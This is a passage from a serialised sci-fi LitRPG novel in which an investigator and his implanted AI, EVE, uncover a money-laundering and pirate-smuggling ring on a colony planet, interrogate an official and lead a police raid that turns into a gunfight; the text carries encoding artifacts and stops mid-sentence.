becoming over reliant on her abilities. What would happen if an EMP went off? Would he lose all his memories and be stuck drooling on himself? ¡°No,¡± EVE said, ¡°I¡¯ve been filtering your new skills and memories to you slowly so your brain has time to adjust to them. So long as you don¡¯t attempt to level up in a new skill path, you will function the same as you did without me. Average.¡± She was too smug for his taste, but nothing new there. He subvocalized to her. ¡°Go through all of the security footage and logs. Look for any unusual activity. See if any of the footage shows undeclared cargo or a mismatch between declared cargo weight and what that same type of cargo normally weighs.¡± The worst case scenario was that this material had been on the planet for several months, which would drag the investigation on. He didn¡¯t think that was correct though since something like illegally manufactured asteroid mining explosives isn¡¯t the sort of thing someone would just keep around for fun times. He decided that he needed a fresh look at this. Despite having a low general opinion of the local police force, he did know there was at least one cop who wasn¡¯t an idiot. He went into his room and placed a call to Sergeant Scott Fabisch. The Sergeant¡¯s face appeared in the display. ¡°How can I help you?¡± he asked. ¡°Quick question,¡± Mark replied, ¡°Usually, people like to stick to patterns. Have you had any bombing related incidents like what happened at the change of command ceremony?¡± ¡°Like that?¡± Scott replied, ¡°No, we never had anything like that. It¡¯s not that hard to dump a body out here. There¡¯s a huge amount of forest, low visibility, and lots of places to bury a body. An explosion is loud and messy, you only do something like that when you want to send a message. Hold on a second, let me check something out.¡± Mark watched as Scott¡¯s 3d projection furiously searched and looked on his holopad. ¡°Yeah,¡± he said as he flipped through whatever documents he had on his pad, ¡°so this was before my time, but I heard some of the old timers talk about it when I first joined up. There used to be a big bang up between the various shipping factions on here. You had lots of high profile attacks, assassinations, beheadings, and car bombings. Not as big as what went down yesterday, but a few high profile ones.¡± ¡°What stopped it?¡± ¡°When the old governor was elected, all of that pretty much ended.¡± ¡°So the old governor either managed to lock down the problem or he made a deal with one of the companies and got rid of the others. Given his corruption, I¡¯m guessing it was the latter. Get some people and get all of those old files to us.¡± ¡°Uh, what?¡± he heard the Sergeant say. That was stupid of him. On real Earth, even with all the digital improvements, police still typed up reports and left a paper trail for everything. In the game, everything was done via smart contracts that kept a permanent ledger of the files, so any amendments or discrepancies could be checked against other records. ¡°I mean the physical evidence,¡± Mark said, recovering quickly. ¡°You keep that in a warehouse or evidence locker or some other place right? Case file, access logs, all that jazz?¡± ¡°Oh. Umm¡­ maybe? I¡¯ll have to check.¡± Mark felt a mild headache between his sinuses. Amongst other reforms, evidence handling was going to be on the list. ¡°We call that ¡®spoliation of evidence¡¯ on Earth and on any of the major systems. Okay, look¡­ just send me over the files that you have and if there is any physical evidence, collect it and send it over to us. Make sure it¡¯s tagged with where it came from, what case it¡¯s from, and who handled it at every point.¡± ¡°Yeah, you got it.¡± Mark hung up. Christ almighty. He wanted to pound a few shots of liquor to keep from going crazy, but that wouldn¡¯t be the best thing for someone in his position of authority to do. He heard a knock on his door. ¡°Come in,¡± he barked. Luciana walked in. ¡°Things aren¡¯t going good I take it?¡± she asked, noticing that he was pinching his sinuses. ¡°Did I ever tell you about any of my cases when I was an investigator?¡± he asked. ¡°Nope, never came up. From our time together, I didn¡¯t actually think you were any good at it.¡± Mark scowled at her. She laughed. ¡°Oh, I knew you were a hotshot on Earth, but in my time serving with you, it seemed like you just wanted to clear as many cases as possible, which meant taking as many easy cases as possible.¡± ¡°That¡¯s fair enough, I guess,¡± he grudgingly admitted. Everyone was a critic. ¡°Well back during my Earth days, one of my first homicide cases was a man murdered behind a dumpster by an old school ballistic gun. The reason they don¡¯t use them anymore is because they¡¯re a mess, which is why pirates tend to love them. The cops on the scene can¡¯t see behind the dumpster, and don¡¯t want to go behind a dumpster anyway, because it doesn¡¯t smell great and there¡¯s garbage that¡¯ll get all over your clothes. So they get in their vehicle and put it up to the dumpster. Except when they did that, they ran over a bloody footprint. So that gets destroyed. Then these two idiots start grabbing up bags of trash, not their job, and stuff it into the back of their car and take it back to the station. They drop it off and head home, since they didn¡¯t want to stay at the scene to quarantine the area. I get called out there and I¡¯ve got a footprint I can¡¯t use, a bunch of evidence missing that I didn¡¯t know about, and no access log of who went into the area and who was kept out, no crime scene tape, absolutely nothing. By the time I figured out that several key pieces of evidence had been moved, it was too late. Most of the evidence that patrol collected had been destroyed, and since the rest hadn¡¯t been tagged or assigned a chain of custody, none of it was usable. Still, we found a guy who was a good fit for the murder. The victim owed him money, the two had been seen arguing, and he had no alibi for the time window of the murder. I get on the stand to testify and the guy¡¯s defense lawyer crucified me. He went over in painstaking detail to the jury all of the violations of protocol and all the screwups. Of course, the perp walked. That was the first and last time I have ever been so embarrassed in court. Well, that¡¯s what I¡¯m dealing with here today.¡± She went behind him and started massaging his shoulders. ¡°Well easy there,¡± she said, ¡°You can¡¯t be blamed for other people¡¯s screwups. You¡¯re going to give yourself a stroke at this rate.¡± Another knock sounded on his door. Luciana jumped back at the sound. ¡°Jesus Christ, you¡¯d think we were making out and your parents came home.¡± He joked. She laughed. ¡°Come on in.¡± Chon Seo-Hee came in. Mark had more or less forgotten about her. ¡°Hey Chon, what¡¯s up?¡± Mark said. ¡°I have something to show you,¡± she said. She pulled up a bunch of what looked like financial statements. Having a fat zero in all areas of accounting, finance, and any other related skill, Mark had no idea what he was actually looking at. ¡°Chon, what am I looking at? This is practically hieroglyphics to me.¡± Mark asked. ¡°Well,¡± she said. ¡°Umm¡­ here¡¯s a question. How much does a space dock cost?¡± Mark shrugged. ¡°I really expect you to know that answer better than me.¡± ¡°I do. It¡¯s about half a billion to a billion credits. So, what¡¯s the government income for this area?¡± ¡°It¡¯s a little over two million credits a year.¡± ¡°Right,¡± she snapped her fingers. ¡°So, how do they have a space dock?¡± ¡°Initial seed investment?¡± ¡°Which you¡¯d expect to be documented. But there¡¯s no documentation. Normally you break this out into three roles. One person who processes any payments, one person who receives any payments, and another person who reconciles the deposits with withdrawals. That¡¯s standard at pretty much any business or government of any complexity. But here, none of that is going on.¡± ¡°If you are telling us that the government doesn¡¯t function correctly, you¡¯re preaching to the choir,¡± Luciana said. ¡°Okay, here¡¯s where it gets interesting. One of the big problems in money laundering is getting the money into the banking system. But, if you have a government in your pocket, that isn¡¯t a problem. So long as no one investigates that planet, you can funnel as much money as you want. That¡¯s called ¡®placement¡¯ and it¡¯s one of the big hurdles that every criminal organization runs into. If you aren¡¯t a trusted source, then any large transactions get immediately flagged and inspected.¡± ¡°Okay,¡± Mark said, following along. ¡°So we have a notoriously corrupt government here ripe for the laundering.¡± ¡°So then the next thing you need to do is layer the transactions. You spread it out amongst so many different groups and organizations it¡¯s hard to know who owns what. So you make shell corporations that muddy the waters. Now what you do is take these fake corporations, and establish them as exporting centers. The exporter reports sale prices far higher than what the goods are actually worth, but it¡¯s actually the result of the sold goods plus the laundered money. Then they can use that money legitimately.¡± ¡°Ok,¡± Mark said, trying to get his head around it. ¡°If I¡¯ve got this right, someone is getting illegal money from somewhere doing some activity. What we do know is that they used the government to do the transactions, letting them funnel large amounts of credit that would otherwise be impossible. In return, the government got a kickback from this operation, which is where most of the actual budget came from.¡± ¡°I think that¡¯s accurate,¡± Chon replied. ¡°Awesome work Chon,¡± Mark said, putting his hand on her shoulder. ¡°What I need you to do is take this,¡± he pointed to the mountains of data that she was streaming, ¡°and turn it into something a third grader could understand. I¡¯ll assign some crew to help you run down the shell corporations and find out who is running this scam. Who ran it in the government?¡± ¡°That would be Margaret Copeland, the Secretary of Treasure.¡± Mark sighed. Of course that¡¯s who it would be. ¡°Wasn¡¯t she one of the six civilians killed at the ceremony?¡± Luciana asked. ¡°Yep. With this twist in development, it could be that she was the actual target instead of Col. Rosa or me. Or again, all of us. The point is we need to figure out what corporation is doing all this off the books smuggling.¡± ¡°Can¡¯t you simply sequester all the records for all the companies on this planet?¡± Luciana asked. ¡°I could,¡± Mark said, thinking it over. ¡°But it would be too much garbage to sort through, and it¡¯d give the perps a chance to cover their tracks once they know we¡¯re coming. We¡¯re already on a powder keg and something that heavy handed might tip it over. We need something surgical, carpet bombing isn¡¯t going to work. We¡¯ll go over every record of anyone the departed Secretary of Treasure met with regularly, add in the Auditor as well since he didn¡¯t seem to be doing his job, cross-match that against old bombing cases in the early years of this planet, and compare against which companies are earning enough to match the discrepancies we¡¯re seeing in government monetary flow. If we¡¯re lucky, that will net us a small list of suspects to work with.¡± Interrogation An interrogation room might seem like the most boring place in the World. A table, overhead lights, a few chairs, and a mirror were all that there was. It certainly didn¡¯t look like the sort of place where anything interesting would occur. Yet, to a trained investigator, a lot could be learned by observing a subject alone in the room. An innocent person would stare about the room and absently scratch at their nether-regions. Guilty people almost always went to sleep at the interrogation room. Having spent days, weeks, or months on edge of being captured, actually being captured was in some sense a relief. The man in that interrogation room is named Clive Mattilainen. He is not much to look at. Although tall, he has thin shoulders and weak arms. A ponch protruding from his belly combined with his slouched posture indicated to Mark that he had a weak torso. His black hair was in a tussle that looked like he barely brushed it before going to the interview. His wild strands and thin hair were accentuated with a large receding forehead. His face sported an angular face with some body fat below the chin, hollow cheeks, a small nose, narrow lips, a pair of light brown eyes, and ears that stood out like an open truck door. One could generously call him ¡°homely¡± looking. Sergeant Scott Fabisch was in the adjacent room to the interrogation room with Mark, both watching Clive through the one-way mirror. Mark thought to himself that Clive kind of looked like a weeny, black-haired version of Sergeant Fabisch. Being with the locals on Gebo still unsettled Mark. He was much more comfortable around his own staff like Captain Smith or 1SG Vidal. The police sergeant was kind of his staff, at least temporarily. He¡¯d also proven himself reliable enough, but Mark still preferred people he knew. Until you¡¯d been in the fire with someone, you didn¡¯t really know that person. ¡°So, how do we want to do this?¡± the Sergeant asked him. ¡°I¡¯ll go in and play good cop. If we¡¯re lucky, he¡¯ll just talk himself into a confession or something we can use against him. If I raise two fingers up, that¡¯s your cue to come in. Threaten him with everything we have: fraud, conspiracy to commit murder, racketeering, criminal conspiracy, the whole works. If that doesn¡¯t work, I¡¯ll enter the interrogation room and we¡¯ll grill him until he gives up something.¡± Mark went into the interrogation room with Clive. Upon seeing Mark entering, Clive stood up a little straighter in his seat. ¡°You asked to see me and then left me in here for an hour!¡± he huffed, making a show of appearing indignant. ¡°I know, you¡¯re a very busy man and I¡¯m terribly sorry to inconvenience you like this.¡± In reality, he¡¯d been in the room for about half an hour, but it wasn¡¯t worth quibbling over the final details like that. He was here to gain trust. ¡°Now,¡± Mark continued, ¡°you are not a suspect in the investigation., but we need to talk .¡± This was a standard police and negotiation tactic. If you ask people¡¯s permission, ¡°we would like to talk¡±, that makes it seem like it¡¯s a request or a favor. Most people aren¡¯t inclined to do favors for someone they don¡¯t know. But change that wording, ¡°we need to talk¡±, and now you aren¡¯t asking. You¡¯re telling them what will happen. ¡°You are here solely as a person of interest,¡± Mark continued. ¡°We¡¯re looking for reasons why someone might want to harm people in the government, and seeing as how you¡¯re an important man in the government as the Under Secretary of the Treasury, you seem like a good person to ask.¡± This too was a common negotiation and police tactic, flattery. After Chon made the financial paperwork accessible to a lay person, a pattern emerged from Clive¡¯s conduct. He spent lavishly on his house, vehicles, and numerous mistresses, even though he is married. More important from a forensic profile standpoint, it¡¯s that he didn¡¯t attempt to do anything to hide his lavish spending. That suggested to Mark a certain psychological profile. A cautious person will attempt to hide illicit transactions. They¡¯ll open multiple bank accounts, invest a portion of their money into legitimate businesses to create a plausible paper trail of the money, and make sure never to make large purchases that would arouse suspicion. These types of criminals were very hard to catch, and usually they got caught as part of a plea bargain from someone else who got snagged. The sort of person who would simply spend money lavishly, make no attempt at hiding money by splitting it into multiple bank accounts, and do nothing to create a plausible source of income was arrogant. The sort of person who thought that the World owed them, that it didn¡¯t recognize their brilliance. Or maybe it was someone who grew so used to the corruption around themselves that they decided that they may as well ¡°sin boldy¡±, to use Martin Luther¡¯s phrase. The exact specifics didn¡¯t really matter. Whether it was arrogance from an inflated sense of ego or arrogance from seeing corruption everywhere, it was that underlying arrogance that Mark needed to get a hold of. Arrogant criminals were far more easy to catch than cautious ones. ¡°For the record, the former Treasury Secretary, Margaret Copeland was your boss?¡± ¡°Yes.¡± ¡°Did anyone wish harm to the former Treasury Secretary, Margaret Copeland? This can be specific, like a jilted ex-lover, or more general, maybe a radical separatist or a disgruntled ex-employee.¡± Clive appeared to give this some deliberation. ¡°I¡¯m sorry, but no one comes to mind. I never payed any mind to the rampant social gossip that infected the place, even if it seemed advantageous to some people¡¯s careers.¡± ¡°In your own words, for a lay audience, can you explain what an Under Secretary does?¡± Clive sat up a little straighter. A bit of self-importance started creeping into his voice. ¡°Let¡¯s say that the Secretary of Treasury comes up with high-level goals. Increase trading by 40%, let¡¯s say. Well, my job is to go out and make the deals for that to happen. What incentives would bring more traders to the region? I write up the actual contracts and rates for different companies.¡± ¡°So it would be accurate to state that your job involves meeting with important people on a regular occasion.¡± ¡°I think that¡¯s accurate.¡± Mark extended his data pad and held up an image for Clive to look at. ¡°Do you recognize this woman?¡± The photo was of a young, attractive, light-skinned woman with chestnut, curly hair, and shining green eyes. She was with Clive at a restaurant. A micro expression of shock appeared across Clive¡¯s face, but he recovered quickly. ¡°Yes,¡± he responded, ¡°I know her. That¡¯s Camille Barnett. Her father owns several of the fruit and farm factories around here.¡± ¡°Was this for business or was this personal?¡± Again, the micro-expression of anger flitted across his face. ¡°Business, obviously. I¡¯m a married man you know.¡± ¡°So you wrote this up in an expense report?¡± He fidgeted. ¡°No. I never got around to it. That was only a month ago.¡± ¡°I see,¡± Mark said, still pretending to be sympathetic. ¡°Could happen to anyone. I¡¯m surprised you hadn¡¯t written that expense up. It was well over 250 credits, not the Now how about this person?¡± Mark pulled up the photo of another woman. This one had red hair, pale skin, and delicate features. She was cute rather than pretty, Mark thought. She was at an upscale wine loft with Clive. ¡°What¡¯s the meaning of this? Why are you showing all these photos.¡± Clive asked, becoming indignant. ¡°These are all just business dates right? So why are you getting upset about it?¡± Clive huffed indignantly. Mark asked, ¡°Who is this woman?¡± ¡°That¡¯s Ann-Marie Clark. She¡¯s a secretary for Overton Shipping.¡± ¡°And there¡¯s no record of this dinner getting comped?¡± Clive just looked ahead. Mark raised two fingers up. A few seconds later, Sergeant Fabisch walked into the room, his own data pad out. ¡°See,¡± he said, putting the data pad, placing it next to Clive so he could see it clearly. The sergeant crowded close to Clive so that he was well within his personal space. ¡°We have a problem. We¡¯re going through your expense reports and things don¡¯t add up. You paid for a house with more money than you make in thirty years. We pulled your bank account and there¡¯s large deposits and transactions all over the place. You go to these fancy meals with pretty women, paying for everything, but you¡¯re not filing an expense report. Do you see where I¡¯m going with this?¡±If you discover this tale on Amazon, be aware that it has been stolen. Please report the violation. Clive¡¯s face was turning an ashen color while Fabisch talked. ¡°I want a lawyer,¡± Clive croaked. ¡°Well,¡± Mark said, interjecting. ¡°That¡¯s your right. But, I¡¯d advise you to hear us out. The deal we¡¯ll make to you in private is going to be a much better deal than the one we¡¯ll make with you and your lawyer. That¡¯ll be a more official deal, and the charges we¡¯ll have to press will also be more official. So, if you want a lawyer, speak up.¡± Clive didn¡¯t say anything. ¡°Good,¡± Mark said. ¡°So here¡¯s the good news for you. We don¡¯t really technically care about you. Here¡¯s what we think. Overton Shipping and Mr. Barnett have been running an illegal smuggling ring. The main thing this planet produces is food, it¡¯s pretty much a tropical rain forest here. What it lacks is also obvious, it¡¯s difficult to mine here. You could do it, but it¡¯d be expensive and labor-intensive. So I think the former government of this planet was contacted by a group of pirates that have access to massive amounts of metal. They trade with this planet, you mark up an outbound trade with massively overpriced goods. You give them the food, they give you the metal, you pocket a cut of the proceeds, as did everyone else. This sound right so far?¡± Clive didn¡¯t say anything. ¡°I¡¯ll take that as a yes,¡± Mark continued. ¡°So far, dealing with pirates is not really that bad of a sin. You¡¯re all alone out here, so you make a deal. You trade the pirates for information on Earth¡¯s ships. Transponder codes, ship make and models, trade routes, and everything else. This also gives us a great motive for the bombing. Gravy train ended when I showed up. Sergeant, how many charges are we up to? ¡± Sergeant Fabisch started ticking off his fingers. ¡°By my count, we have treason, sedition, conspiracy to commit murder, fraud, racketeering, embezzlement, and probably a few dozen more if we sat down with a prosecutor.¡± ¡°I had nothing to do with any of that!¡± Clive spluttered, ¡°I just set up meetings, negotiated exchange rates on goods, that sort of stuff. Come on, you can¡¯t pin it all on me!¡± ¡°And I want to believe that,¡± Mark said sympathetically, ¡°because I think if you were high up on the food chain, you¡¯d have bailed with the rest.¡± ¡°But there¡¯s a little problem,¡± Fabisch interjected. ¡°We have what are known as ¡®closure rates¡¯, how many cases we close. If we don¡¯t have anyone else to pin a crime on, well, that¡¯s bad for you.¡± ¡°On the other hand,¡± Mark picked up, ¡°If we do have someone else to pin this on, we can drop everything down to accessory after the fact. You¡¯ll still do jail time, but only two years. Up for early release in one. The other option is multiple life sentences in prison, which means you¡¯ll die and get resurrected until you¡¯ve served all of those years. All you have to do to help yourself is start talking.¡± So Clive did. Overton Shipping was the master behind the curtain at Gebo. They ran what essentially amounted to an extortion racket. If you were a trader and paid up, the pirates didn¡¯t bother you. But if you didn¡¯t pay, then you were hit by the pirates. On the official reports, Overton did occasionally get ¡°attacked¡± by the pirates, but this was a ruse meant to make it look like Overton was affected like everyone else, and to get themselves a nice tax cut with a liability loss. He claimed not to know anything about the human smuggling operations or the assassination attempt, but did confirm the inflated trading scam. The pirates pinged the planet once every two weeks, giving the coordinates to set up a series of requests. The pirates would say what they wanted, they¡¯d facilitate, and take the haul back, not reporting any of it to the Sol System. If Mark¡¯s team hadn¡¯t shown up, this could have kept going on for years. Clive also claimed that he didn¡¯t give away any of the Sol System information, but it was theoretically possible someone else was feeding them information. With confession in hand, Mark wrote up a warrant for a judge to raid Overton Shipping. This step was completely unnecessary in a martial law environment, but if everything wasn¡¯t followed to the letter, there was a chance that a future judge could overrule the convictions based on not following procedure. Mark debated whether or not to use his people or the police, but decided to use the regular police units for the raid. Colonel Rola was right that there needed to be a transfer to a civilian authority structure at some point. A notification icon appeared in his vision. He focused on it and it expanded.
Police squads (temporary assignment)
You have temporary access to the police force of the planet. The equipment is relatively primitive compared to what the military has access to, but it¡¯s all operational. The police averages 5 per 10,000 citizens in Gebo. With 2.1 million citizens under the system, you have 1,050 officers under your command. The quality of your force is very low, with only 11 elite officers composing the riot police/SWAT units. Each cop is issued handguns, batons, pepper spray, and ballistic vests. You have access to the following: - Police Cars: 100. These vehicles are mounted with encrypted communication gear and other patrol equipment. Each car is also equipped with two shotguns and two assault rifles in the trunk. 50k to buy, 5k per year to maintain. - Motorcycles: 50. Motorcycles with no additional equipment on them outside from markings identifying it as a police vehicle. 40k per vehicle, 4k per year to maintain. - Police Van (Unarmored): 20. A regular SUV with tactical police communication equipment, four shotguns, and four rifles. Most often used for a police command post. 50k to buy, 5k per year to maintain. - Police Van (Armored): 5. An armored SUV equipped with reconnaissance equipment and communication gear. Most often used for SWAT or riot police operations. 150k to buy, 15k per year to maintain. - Riot gear: 11. A collection of riot helmets with dense polymer face shields, riot shields, batons, crowd-released pepper spray, tear gas, stun grenades, rubber bullets, and Long Range Acoustic Devices designed to incapacitate a crowd. 160k per set, 16k per year to maintain. - SWAT gear, 11. An elite group of police officers that combine tactical training and operational specialties. These are assaulters (6), sniper/recon (3), team leader (1), and negotiator (1). The assault squads are equipped with automatic carbines and/or submachine guns, depending on load out for the mission. Additional breeching gear, special shotgun ammunition for breaking locks, blasting charges, plastic explosives, stun grenades, and full helmet and tactical body armor. Negotiators and team leaders are also given the same load out. The sniper/recon team is equipped with sniper rifles telescopic or thermal imaging scopes, as well as audio-eavesdropping equipment and thermal scanning equipment. 250k per team member, 25k per year to maintain. - Special operations teams: 0. Special operations teams train extensively with helicopters, night vision gear, and unusual breaching scenarios such as rooftops or underwater. They also have extra training for counter-terrorism, hostage rescue, and biological warfare on urban terrain. Prerequisite SWAT team member. Additional cost of 150k to train, 15k to maintain per year. - Explosive Ordnance Disposal (EOD) Team: 0. Equipped with heavy armor, explosive-detection robots, and bomb-disposal robots. Primarily a defensive unit, but can be used for combat engineering, such as destroying a structure for breaching or delivering an explosive payload to a target. 100k to train, 10k per year to maintain. - Armored Deployment Vehicle and Combat Engineering Vehicles: 0. A mobile siege vehicle equipped with assault ramps, hydraulic breeching ramps, grapple claws, mounted machine gun turrets, and heavy armor plating. Cost 250k to buy, 25k per year to maintain. - Armored Rescue Vehicle: 0. Designed to support 10 passengers, it features a bulletproof hull, anti-mine undercarriage, gun ports, mounted machine guns, sirens, lights, battering rams, multi-unit thermal and electric spotting devices, eavesdropping devices, sensors for explosives, and encrypted communication gear. Cost 350k. 35k per year to maintain. - Police Helicopter (2). A four-person carrier with night vision and searchlights. Riflemen and snipers can be deployed from the open side carriage. Cost 1.5 million. Maintenance, 150k.
Mark noted that information. The game made it simple to calculate the costs for buying and maintaining equipment. A good chunk of Gebo¡¯s official budget was wrapped up in maintaining equipment, even though Chon had estimated that Gebo¡¯s official budget was less than 5% of the real operational budget. and called for a meeting in the briefing room of the police headquarters. ¡°Listen up everyone,¡± he said, ¡°This is a big bust. We¡¯re going after Overton Shipping today. I want this operation to be clean. We¡¯re going with non-lethal rounds, bean bags and plastic bullets. But keep the lethal ammunition on your person and switch to it if I or a team leader gives the order.¡± He remembered the warehouse raid where the guards were nearly suicidal trying to kill the hostages. ¡°When you make an arrest, remove all items from the person. Eyeglasses, pens, anything at all. Bag it properly, but don¡¯t take any chances. That¡¯s not standard procedure, but we¡¯ve gone up against terrorists before and we¡¯re not taking any chances.¡± Eyeglasses and pens had been used by spies to hide weapons and suicide capsules. He wanted to capture one of these guys alive so he could get hard evidence on their operations. He laid out his plan. He selected forty officers to assist as backup, an unarmored police van for himself, the remaining four for holding prisoners, three of the armored police vans for the SWAT team, and the two helicopters to act as arial surveillance. He decided to make the SWAT team leader the supervising officer for the entire operation, putting him in the mobile command post with Mark. The SWAT team hadn¡¯t seen any real action, and he wanted someone with experience to be in the field giving orders, as opposed to the supervisory role. He chose Vidal for that assignment, since he had been busy training the police and was at least somewhat familiar with their tactics and training. The operation would be pretty simple. The majority of the police force would be barricading the area to prevent anyone from entering or exiting the scene. SWAT would clear the building, the backup officers would make the arrests and bring the personnel into waiting vans and squad cars, and he¡¯d process and bag the scene after all the excitement was done to make sure all the evidence was gathered. An old military adage crept into his mind. ¡°No plan survives first contact with the enemy.¡± Raid time ¡°This building sucks ass,¡± 1SG Vidal said, mirroring Mark¡¯s thoughts. By the records, Overton Shipping was a 96,000 square meter facility that was 32 docks high with 16 drive in doors. The clearance height was 50¡¯, 1,200 auto parking spaces with trailer parking and fenced truck court. In laymen¡¯s terms, the place was gigantic. Mark did not have a very large police force, and only had a dozen heavy hitters composed of two squads on that team. Normally, this meant that quarantining the area effectively would be a huge challenge. However, that wouldn¡¯t be as much of an issue because the first problem was negated by the second problem. There were no other buildings nearby, the terrain was flat and well lit, and there was absolutely no other cover in the area. The nearest building on the east side was over 2000 meters away. That clearly wouldn¡¯t work. The west side was equally depressing. The only thing on that side was a tiny headquarters area for Overton Shipping and getting there would require crossing from the jungle, which was frankly impossible. Coming in from the south was also a dead end. A stockyard gave cover, but it was also 1000 meters out from the main warehouse. It was too open, plus they¡¯d need to explain to the people in the stockyard what they were doing and not do anything that would make them panic. Not a good option. That left the north side of the entrance as the only possibility. A tiny building, called ¡°Organics Supply¡±. He searched his memory. Wasn¡¯t the organics movement something that faded out in the early 21st century after getting astroturfed by corporations? ¡°In context,¡± EVE said to him, ¡°It refers to companies which ship raw organic particles needed for biosynthesis.¡± That made more sense. The building was only 1,386 square feet, but with only 40 officers at the scene, that would be plenty of room. ¡°So we set up in the building to the North, then what?¡± Mark asked Vidal. The big man pondered it for a moment. ¡°Way I see it sir, we have two options. Option one is to run and gun, shock and awe. We light up the area, sirens blaring, blow down the doors with explosives, and throw in tear gas. We follow in hard and take out any targets not immediately surrendering. The downside to this plan is that we have no idea what¡¯s inside there, and we know these guys play dirty. Some explosives in a container could set off when we breach. Or they might detonate it themselves. Or a mounted machine gunner could take out the first squad as soon as they run through. You get the drift, mass casualty scenarios.¡± Mark nodded along, so Vidal continued. ¡°The other way is to send someone crawling across the 100 meters of open terrain and plant surveillance devices all around the warehouse. Once we know what¡¯s inside, we figure out our plans.¡± The SWAT team commander was Sergeant Mirja Nicholson, looped in on the call between Vidal and Mark. She didn¡¯t have their combat contacts, so she couldn¡¯t see them the way they could each other, but she could overhear the conversation. ¡°I agree with 1SG Vidal¡¯s assessment. We keep the team on standby to engage if the recon mission is compromised.¡± Vidal relayed the orders to the team. They parked their vehicles at various locations a mile out from the warehouse and moved in from the North going from building to building out of line of sight of the warehouse until each squad could enter the Organics shop. Mark and Vidal stood behind the building. Vidal gave the thumbs up and lay on his side, then started crawling towards the warehouse. They had special reconnaissance armor used for missions like this, which disrupted light patterns and made it harder to spot a person. Vidal opted for his heavy Reflex armor instead. His reasoning was that even if the recon mission was successful, they still might get into a firefight, and he¡¯d rather be ready for that. The side crawl was to obscure his ¡®slug trail¡¯, as he called it, the noticeable pattern a dragged body leaves behind. Mark watched Vidal move. Or watching him move wasn¡¯t really accurate. He was moving at such an incredibly slow speed that Mark couldn¡¯t notice him moving at all. He was moving a few centimeters a minute at best. The problem with all defensive preparations is the human element. Humans get very bored, very easily. Snipers and other elite units often required the ability to tolerate superhuman levels of boredom, waiting in a single spot for days while watching out for an enemy. For most soldiers, even a very a short time on guard duty caused their minds to wander and look for any escape valve from the monotonous boredom. Mark¡¯s mind was even worse. Having EVE hooked up to his mind, he played solitaire, pong, texas hold-em, and other games against EVE. He could have done something more elaborate, but he didn¡¯t want to become completely distracted. Instead, he watched with his eyes half-focused on the warehouse. The rest of his team in the warehouse must be bored, but they could talk to each other. Mark focused his eyes and tried to see Vidal. He couldn¡¯t. He was impressed. He knew roughly where Vidal should be by checking in on his combat contacts position, but when he actually looked at the spot, he didn¡¯t see anything out of the ordinary. Vidal¡¯s movements were so minute that nothing drew any attention to his location. Another half hour passed. Mark didn¡¯t see any signs of activity at the warehouse. The worst case scenario was that the team was ambushed and completely destroyed. The second worst case scenario though was that the warehouse had been evacuated and all of the evidence was gone. His decision to raid the warehouse immediately, instead of doing a multi-part investigation, hinged on that scenario. Mark had no idea about the loyalties of the people on the planet, and given the depth of financial fraud that Chon had found, he didn¡¯t want to risk blowing an operation. Suddenly, he started getting visual feedback from the area. Vidal had set up the first of the neural nets, so the tiny devices were sending Mark pictures of all the obvious egress points. Mark¡¯s primary job when they were all set up would be to manage the network and give feedback data to each team member. Mirja and Vidal would handle the operations on the ground . Vidal slowly crept around the rest of the exterior and kept putting up more neural nets by each of the bay doors. This sort of dull, monotonous work was the backbone of most police work, and it was exactly the type of work Mark had avoided fastidiously during his time as a cop. The perimeter of the area that Vidal was traversing was around 1,240 meters setting up at each of the 16 dock doors plus other exterior doors, totaling 20 places that needed eyes on. After setting up the neural net, Vidal tried to sneak a surveillance endoscope underneath the door, but the doors were basically vacuum sealed. Humidity could damage sensitive cargo, so warehouses took precautions to be as humidity, temperature, and light sensitive as they could. Vidal attempted to open the door, but it was securely sealed as well. ¡°Wait,¡± Mark ordered Vidal. The first sergeant would be weighing a potential solo mission by himself in the warehouse and setting up the drone spies that Mark had purchased before. But if something went wrong, Mark didn¡¯t want his best man down for the count. ¡°Mirja, take the lead,¡± Mark said over the communications channel. ¡°Everyone,¡± she said over the comms channel, ¡°Teams Alpha through Gamma stack up counterclockwise from the North-eastern entrance following alphabetical order on the rotation. Stay low to the ground and advance.¡± Alpha team had nine of the SWAT officers. Bravo through Gamma had six police officers. Alpha would stack up on Vidal and the rest would stack up on each of the normal entrance doors. There would be no choice but to use explosives to breech and go in hard and heavy.The tale has been stolen; if detected on Amazon, report the violation. When each team was in position, Mirja came over the comms. ¡°Breach on my command. In five, four, three, two, one.¡± The squad leaders from each team detonated their charge, blowing the door off the hinge and shooting it off into the distance. Vidal¡¯s squad went into a workout area. Heavy dumbbells and barbells littered the area, along with ropes, raised platforms, and other heavy lifting equipment. He saw the first target as he lead his squad around, each one calling out ¡°clear¡± as they checked an area. Vidal shouted at the man, ¡°On the ground, hands behind the head, get down on the ground.¡± The man stood for a split second in surprise, then reached behind his back. Vidal blasted him with a beanbag round from his shotgun. The force of the blow cracked the man¡¯s ribs and he went down in a sprawling heap. Vidal didn¡¯t like beanbag rounds because they required manual reloading on an automatic shotgun, but he kept that complaint to himself. The other SWAT members quickly cuffed the man, frisked him for any firearms, finding a small laser pistol stuffed into the back of his pants, then cuffed him and pulled him to the back near the entrance. Vidal heard some gunshots go off, and looking through his combat lenses HUD (Heads Up Display), he could immediately see why. The other squads had entered areas that were being actively patrolled. The guards in those areas immediately fired on the police squads as soon as they entered. The other squads didn¡¯t have the fancy combat lenses that Mark and Vidal had. They were using the older smart glasses that had been standard issue on police forces, but they had access to roughly the same information as Vidal. Five of the men on the teams were down, their team members giving them emergency first aid that stopped the bleeding from their wounds. Unlike the more sophisticated medi-gel the military had access to, the basic first-aid equipment of police only stopped the initial bleeding, it didn¡¯t really do anything to repair the damage. Injured team members were carried out of the building and placed outside. Emergency vehicles were on standby near the area, but they couldn¡¯t enter until the area had been secured. The cops responded by shooting tear gas into every area of the warehouse they could, though it was too large to effectively cover the whole area. ¡°Swap out to lethal fire,¡± Mirja ordered over the headsets, ¡°Taking prisoners is no longer a priority.¡± Vidal swapped out the magazine on his shotgun to APHC (Armor-Piercing Hard Core) slugs. The CAW (Close Assault Weapon) was 12 gauge automatic shotgun, and the APHC rounds could take out anything short of the heaviest of armor. The SWAT team paired off into two squads, Vidal and four others went right, the other five went left. As Vidal swept around the stacks, two men popped up and aimed on him. He swiveled and held down the shotgun trigger, sweeping left to right. Vidal¡¯s rounds tore through the two men, the one on the left getting hit first near his right shoulder, then right above his heart. The man on the right took the slug through the throat, ripping it open and dropping him immediately. The other SWAT members kept moving forward while Vidal took on the two attackers, making sure that no ambush from the sides could wipe out the whole team. A machine gun popped out from behind one of the stacks, the triggerman hidden. He sprayed bullets wildly at the SWAT team. The SWAT teams hid behind their riot shields, letting the 